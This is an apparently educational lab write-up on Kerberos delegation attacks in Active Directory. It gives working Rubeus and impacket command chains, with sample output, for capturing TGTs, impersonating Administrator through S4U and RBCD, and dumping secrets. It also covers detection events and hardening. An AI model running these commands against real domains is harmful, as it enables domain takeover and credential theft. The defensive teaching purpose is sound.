0
Hands-on Labs ADVANCED 13 min read Updated

Kerberos Delegation Attacks in a Lab: Unconstrained, Constrained and RBCD

A hands-on lab walkthrough of Kerberos delegation attacks: how unconstrained, constrained and resource-based constrained delegation let a service act as any user, and how to find, abuse, detect and shut them down.

founder & security researcher · 39 writeups
Kerberos Delegation Attacks in a Lab: Unconstrained, Constrained and RBCD

Kerberos delegation attacks all build on one legitimate feature: delegation lets a back-end service reuse your identity to reach a second service on your behalf, and when it is configured loosely an attacker can ride that trust straight to Domain Admin. This walkthrough works through the three flavours you meet in Active Directory (unconstrained, constrained and resource-based constrained delegation) in a lab you own, showing how each one is found, how it is abused with standard tooling, and how a defender spots and shuts it down.

Read it top to bottom once to build the model, then keep the RBCD section handy because it is the one you will reach for most on real engagements. Every command here runs against a lab domain on 10.10.10.0/24 with its domain controller at 10.10.10.2.

Scope

Run everything here only inside an Active Directory lab you own or a domain you are explicitly authorized to test. Coercing a domain controller or impersonating an administrator on a network you do not control is a crime, not a demo.

01A refresher on Kerberos delegation

Kerberos delegation exists so that a service can act as a user when it talks to a second service. The classic case is a web app that holds no data of its own and needs to read a database or a file share as the person who logged in, so their permissions apply instead of one shared service account. Without delegation the front-end service ticket stops at the web app and cannot be reused anywhere else.

Delegation solves that by letting the first service obtain a ticket to the second service in the user's name. Three mechanisms do this, and they differ in who decides what the service is allowed to reach. Unconstrained delegation hands the service a copy of the user's Ticket Granting Ticket (TGT) and lets it go anywhere. Constrained delegation pins the service to a named list of target services. Resource-based constrained delegation (RBCD) flips the control so the target resource names who is allowed to delegate to it.

TypeControl attributeWho authorizes
UnconstrainedTRUSTED_FOR_DELEGATION flagNobody: the service can reach anything
ConstrainedmsDS-AllowedToDelegateToDomain admin, per source account
RBCDmsDS-AllowedToActOnBehalfOfOtherIdentityAnyone who can write the target object

That last row is why RBCD matters so much to an attacker: the permission to configure it lives on the target computer object, so a single write primitive over a machine account can turn into full compromise of that host. The rest of this guide takes each type in turn.

02Unconstrained delegation: a privileged TGT in memory

Unconstrained delegation is the loosest setting, and the attack against it is to make a privileged account authenticate to a host you control. When a user authenticates to a service running under an account that has the TRUSTED_FOR_DELEGATION flag, the Key Distribution Center includes a forwardable copy of the user's TGT inside the service ticket, and the service caches that TGT in LSASS memory. Whoever owns that host can then lift the TGT and replay it as the user anywhere in the domain.

On its own that only captures users who happen to connect. The force multiplier is coercion: you make a high-value account, ideally a domain controller computer account, authenticate to your compromised host on demand, so its TGT lands in memory for you to grab.

unconstrained delegation plus coercion
Attackerowns UD host coerce Domain controller10.10.10.2 auths, TGT UD server memoryDC$ TGT cached

Two coercion methods are standard. The PrinterBug abuses the MS-RPRN print spooler RPC call RpcRemoteFindFirstPrinterChangeNotification, which makes the target connect back to a host you name. PetitPotam abuses MS-EFSRPC calls such as EfsRpcOpenFileRaw to do the same thing, and it often works even where the spooler is disabled. Both are well known, so treat them as concepts here: you point the coercion tool at the DC and tell it to authenticate to your unconstrained-delegation host.

03Capturing the TGT with Rubeus and impacket

Capturing the forwarded TGT is the payoff step, and you set up the listener before you fire the coercion. On a Windows foothold that owns the unconstrained host, Rubeus watches LSASS for freshly arrived tickets. On Linux, the impacket family gives you the matching pieces: a coercion script and a ticket you can replay.

powershell
# Windows: watch for incoming TGTs on the unconstrained-delegation host
# 0xpriv.dev/labs
Rubeus.exe monitor /interval:5 /nowrap

# in another window, trigger the DC to authenticate to this host
# (PrinterBug or PetitPotam style coercion, concept only)
# the DC$ TGT then appears in the monitor output as a base64 blob
a domain controller TGT lands in the monitor
PS> Rubeus.exe monitor /interval:5 /nowrap
[*] Monitoring every 5 seconds for 4624 logon events
[*] 10.10.10.2$  [email protected]
    ServiceName   :  krbtgt/LAB.0XPRIV.DEV
    base64(ticket):  doIF...snip...==

With the DC computer account TGT in hand you hold the keys to the domain, because that account can replicate directory secrets. You inject the ticket and run a DCSync-style secret dump with impacket, authenticating with the ticket rather than a password.

bash
# Linux: replay the captured ticket, then pull hashes as the DC account
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass -dc-ip 10.10.10.2 'LAB.0XPRIV.DEV/[email protected]'

Rubeus also offers tgtdeleg, which asks the KDC for a usable TGT for the current user through the GSS-API, handy when you already have a session on an unconstrained host and want a ticket without touching LSASS directly.

04Constrained delegation: S4U2Self and S4U2Proxy

Constrained delegation limits a service to a fixed list of targets, and the attack abuses the two extensions that make it work. The list lives in the msDS-AllowedToDelegateTo attribute of the delegating account. Two Service-for-User extensions drive it. S4U2Self lets the service request a service ticket to itself in the name of any user, which is how it obtains a ticket to impersonate someone who authenticated by a non-Kerberos method. S4U2Proxy then takes that ticket and asks the KDC for a ticket to one of the allowed target services, still in the user's name.

the S4U two-step
Service accountyou control S4U2Self Ticket to selfas Administrator S4U2Proxy Ticket to targetas Administrator

There are two things an attacker loves here. First, if the account also has the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition), S4U2Self produces a forwardable ticket for any user without needing that user's password at all. Second, the target SPN restriction only pins the service host, not the service class in the ticket name. So delegation granted to cifs/host can be rewritten to ldap/host, host/host, or any other service on the same machine, which is usually enough to fully own it.

bash
# abuse a configured msDS-AllowedToDelegateTo with impacket getST
# the service account creds impersonate Administrator to the allowed SPN
getST.py -spn cifs/fs01.lab.0xpriv.dev -impersonate Administrator \
  -dc-ip 10.10.10.2 'LAB.0XPRIV.DEV/svc-web:Passw0rd!'

# then swap the service class in the ticket to reach LDAP on the same host
getST.py -spn cifs/fs01.lab.0xpriv.dev -altservice ldap -impersonate Administrator \
  -dc-ip 10.10.10.2 'LAB.0XPRIV.DEV/svc-web:Passw0rd!'

05Resource-based constrained delegation (RBCD)

RBCD moves the delegation control onto the target itself, which is exactly why it is so useful to an attacker. Instead of a domain admin editing the source account, the target computer object lists who may delegate to it in msDS-AllowedToActOnBehalfOfOtherIdentity. If you can write that one attribute on a machine, you can nominate an account you control as an allowed delegate, then use S4U2Self and S4U2Proxy from that account to impersonate any user, including a domain admin, against that machine.

The write primitive usually comes from an access-control weakness: GenericWrite, GenericAll, WriteDACL, or explicit WriteProperty over the computer object, often surfaced in a BloodHound path. The account you nominate must have a Service Principal Name, which is why attackers add a computer account: the default ms-DS-MachineAccountQuota of 10 lets any domain user create one, and computer accounts come with SPNs for free.

Why a computer account

S4U2Proxy needs the delegating principal to have an SPN. A normal user has none by default, so the clean path is to create or take over a machine account (which always has SPNs) and point RBCD at it.

06The tooling: impacket, netexec and Rubeus

The tooling for delegation work is small and stable, so it is worth knowing which job each piece does. impacket gives you the cross-platform scripts that build and replay tickets. netexec (the maintained successor to CrackMapExec, invoked as nxc) is the fastest way to sweep the domain and read delegation state over LDAP. Rubeus is the Windows-native option when you already have a foothold and want to work in memory.

bash
# netexec: sweep the subnet, then read delegation and the machine account quota
nxc smb 10.10.10.0/24
nxc ldap 10.10.10.2 -u svc-web -p 'Passw0rd!' --find-delegation
nxc ldap 10.10.10.2 -u svc-web -p 'Passw0rd!' -M maq
netexec enumerating delegation on the lab DC
$ nxc ldap 10.10.10.2 -u svc-web -p 'Passw0rd!' --find-delegation
LDAP  10.10.10.2  389  DC01  AccountName  AccountType  DelegationType       DelegationRightsTo
LDAP  10.10.10.2  389  DC01  WEB01$       Computer     Unconstrained        n/a
LDAP  10.10.10.2  389  DC01  svc-web      User         Constrained w/ Proto cifs/fs01.lab.0xpriv.dev
$ nxc ldap 10.10.10.2 -u svc-web -p 'Passw0rd!' -M maq
MAQ  [*] MachineAccountQuota: 10

The core impacket scripts for delegation are addcomputer.py (create a machine account), rbcd.py (read or write msDS-AllowedToActOnBehalfOfOtherIdentity), and getST.py (perform S4U and hand you a ticket). On Windows, Rubeus.exe s4u performs the same S4U2Self and S4U2Proxy dance and can pass the ticket into your current session with /ptt.

07A worked RBCD walkthrough on 10.10.10.0/24

This worked example chains the pieces into a full RBCD takeover of a lab host. Assume BloodHound has shown that the account svc-web has GenericWrite over the computer FS01$ (10.10.10.5), and the machine account quota is the default 10. The goal is to run code on FS01 as the domain Administrator.

Add a computer you control

Use the default machine account quota to create EVIL$ with a known password. This account will be the delegating principal.

Write the RBCD attribute

With the GenericWrite over FS01, set msDS-AllowedToActOnBehalfOfOtherIdentity so it trusts EVIL$ to delegate.

Request a ticket as Administrator

From EVIL$, run S4U2Self and S4U2Proxy to get a cifs/FS01 service ticket in the Administrator's name.

Use the ticket

Replay the ticket against FS01 and dump its secrets, all as Administrator.

bash
# 1. create the delegating machine account (default MAQ allows this)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'EvilPass123' \
  -dc-ip 10.10.10.2 'LAB.0XPRIV.DEV/svc-web:Passw0rd!'

# 2. write RBCD on the target so FS01 trusts EVIL$ to act for others
rbcd.py -delegate-from 'EVIL$' -delegate-to 'FS01$' -action write \
  -dc-ip 10.10.10.2 'LAB.0XPRIV.DEV/svc-web:Passw0rd!'

# 3. S4U2Self + S4U2Proxy: get a cifs ticket to FS01 as Administrator
getST.py -spn cifs/fs01.lab.0xpriv.dev -impersonate Administrator \
  -dc-ip 10.10.10.2 'LAB.0XPRIV.DEV/EVIL$:EvilPass123'

# 4. replay the ticket and dump FS01 secrets as Administrator
export KRB5CCNAME=Administrator@[email protected]
secretsdump.py -k -no-pass fs01.lab.0xpriv.dev
the S4U chain producing an Administrator ticket
$ getST.py -spn cifs/fs01.lab.0xpriv.dev -impersonate Administrator -dc-ip 10.10.10.2 'LAB.0XPRIV.DEV/EVIL$:EvilPass123'
[*] Getting TGT for user
[*] Impersonating Administrator
[*]   Requesting S4U2self
[*]   Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]

On a Windows foothold the same chain is one Rubeus call once RBCD is written, using the hash of the controlled computer account.

powershell
# Windows equivalent of steps 3-4 with Rubeus, ticket passed into the session
Rubeus.exe s4u /user:EVIL$ /rc4:<EVIL$-NT-hash> /impersonateuser:Administrator \
  /msdsspn:cifs/fs01.lab.0xpriv.dev /ptt
Clean up the lab

RBCD writes and extra machine accounts are persistent changes. In your own lab, clear msDS-AllowedToActOnBehalfOfOtherIdentity with rbcd.py -action flush and delete EVIL$ when you are done so the next run starts clean.

08Detecting delegation abuse

Detecting delegation abuse comes down to watching ticket events and directory changes, because every technique here leaves a trail on the domain controller. The Kerberos service ticket event 4769 is the workhorse. S4U2Proxy requests show up as a 4769 where the Transited Services field is populated, which is unusual for ordinary traffic, and a sudden 4769 for a sensitive service like cifs or ldap requested in an administrator's name from a machine that account never uses is a strong signal.

EventWhat it catches
4769Service ticket requests, including S4U2Proxy with a filled Transited Services field
4768TGT requests, useful for spotting a DC account authenticating from the wrong host
4741A computer account was created, the RBCD EVIL$ step
5136Directory object modified, flags writes to the delegation attributes

The highest-value detection is a change to the delegation attributes themselves. A 5136 directory service change that sets msDS-AllowedToActOnBehalfOfOtherIdentity on a computer, or edits msDS-AllowedToDelegateTo, is rare in a steady environment and almost always worth an alert. Pair it with 4741 for new machine accounts, since the RBCD path usually creates one first. On the coercion side, a domain controller computer account suddenly authenticating to a member server (an outbound 4624 and matching 4768) is the tell for an unconstrained-delegation capture.

09Shutting delegation attacks down

Shutting these attacks down is mostly about removing loose configuration and protecting the accounts that matter, and none of it needs a product you do not already own. The box below is the order I apply the fixes in a lab before calling an environment clean.

How to shut it down
Mark privileged accounts sensitive. Set "Account is sensitive and cannot be delegated" on every admin, which sets the NOT_DELEGATED flag so their tickets can never be forwarded.
Use the Protected Users group. Members cannot be delegated at all and are forced onto stronger Kerberos, which closes both unconstrained capture and S4U impersonation of those accounts.
Retire unconstrained delegation. Replace it with constrained or RBCD, and disable the Print Spooler on domain controllers and servers that do not print to blunt coercion.
Set the machine account quota to zero. Change ms-DS-MachineAccountQuota to 0 so ordinary users cannot add the computer account that most RBCD chains rely on.
Restrict who can write delegation attributes. Audit and tighten object ACLs so that GenericWrite, GenericAll and WriteDACL over computers are limited, and monitor changes to the msDS delegation attributes.

10FAQ

What is the difference between constrained delegation and RBCD?FAQ

Constrained delegation is configured on the source account through msDS-AllowedToDelegateTo and only a domain admin can set it. RBCD is configured on the target through msDS-AllowedToActOnBehalfOfOtherIdentity, so anyone with write access to the target object can enable it. That shift in who controls the setting is what makes RBCD such a common privilege-escalation path.

Do I need admin rights to capture a TGT from unconstrained delegation?FAQ

You need control of the host configured for unconstrained delegation, which usually means local admin or SYSTEM there, because the TGT is read from LSASS memory. The ticket you then capture belongs to whatever account you coerce into authenticating, so the privilege you gain comes from the victim, not the host.

Why does the RBCD attack create a computer account?FAQ

S4U2Proxy requires the delegating principal to have a Service Principal Name, and normal user accounts have none. Computer accounts always carry SPNs, and the default machine account quota of 10 lets any domain user create one, so making a throwaway machine account is the simplest way to get a valid delegating principal.

Does the Protected Users group stop all of these attacks?FAQ

It protects the members: an account in Protected Users cannot be delegated, so its TGT will not be forwarded and it cannot be impersonated through S4U. It does not fix the underlying misconfiguration, so a service account that is not in the group can still be abused. Pair it with the sensitive flag, machine account quota of zero, and tight ACLs.

Which single event should I alert on first?FAQ

Event 5136 showing a write to msDS-AllowedToActOnBehalfOfOtherIdentity on any computer object. It is rare in normal operations and sits at the heart of the RBCD chain, so it gives a high-signal, low-noise alert. Back it with 4741 for new machine accounts and 4769 requests that carry a Transited Services field.

references

Was this writeup useful?
Alex Rowan Founder & Security Researcher at 0xpriv

Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.

related writeups

more in Labs →

discussion

0 comments
`code` supported · comments are reviewed before they appear